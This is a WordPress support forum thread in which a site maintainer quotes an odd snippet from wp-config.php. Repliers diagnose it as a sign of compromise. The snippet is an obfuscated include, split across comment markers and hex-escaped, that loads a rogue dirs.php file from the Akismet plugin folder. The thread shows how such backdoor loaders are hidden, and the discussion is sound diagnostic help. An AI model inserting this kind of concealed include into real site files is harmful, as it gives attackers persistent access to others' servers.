wp-config help

  • Hello and thank you to anyone that is able to assist me. Recently the site I look after has been having some issues. The biggest one is when I attempt to delete a plug in “Akismet” my site error out referencing the wp-config.php file. I reviewed the file and compared it to other files and the only difference I could find is this section.

    /**
    * For developers: WordP*/include /*ress debugging mode.
    *
    * Change this to true*/”\x2fvar\x2fchr\x6fot/\x68ome\x2fcon\x74ent\x2fp3p\x6eexw\x70nas\x305_d\x61ta0\x32/71\x2f238\x31671\x2fhtm\x6c/wp\x2dcon\x74ent\x2fplu\x67ins\x2faki\x73met\x2fdir\x73.ph\x70″;/* to enable the display of notices during development.
    * It is strongly recommended that plugin and theme developers use WP_DEBUG
    * in their development environments.
    */

    The two things that I believe to be wrong are
    the /include/ tag in the middleof WordPress and the entire line starting with Change this to….

    Please let me know if I’m correct or just carzy.

    Thanks

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  • That isn’t normally found in a wp-config.php file. My guess would be that the config file (your site) has most likely been compromised. Is there any reference to base64 encoding anywhere else in your wp-config.php file? Maybe a large block at the very top?

    The file should look like this – with the excption of your database and secret key info, which is unique to your site: https://core.trac.www.ads-software.com/browser/branches/4.7/wp-config-sample.php

    carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

    Thread Starter sblake406

    (@sblake406)

    Thank you for your reply.

    I checked and no reference to base64 anywhere. The only other difference I found from the example you provided is:

    //define( ‘WP_CACHE’, true );
    require_once( dirname( __FILE__ ) . ‘/gd-config.php’ );
    define( ‘FS_METHOD’, ‘direct’);
    define(‘FS_CHMOD_DIR’, (0705 & ~ umask()));
    define(‘FS_CHMOD_FILE’, (0604 & ~ umask()));

    Thread Starter sblake406

    (@sblake406)

    I modified the file according to the example. I am now able to delete the plugin in question with no issues and the site looks to be stable so far.

    Some additional info, this link will show you the decoded results of the string in your example. https://ddecode.com/hexdecoder/?results=243a4cdc0653e10cb5071db81e5e0377

    You need to investigate the possibility that you’ve been compromised. Carefully follow this guide. When you’re done, you may want to implement some (if not all) of the recommended security measures.

    To the best of my knowledge, dirs.php is not part of the default Akismet plugin file structure.

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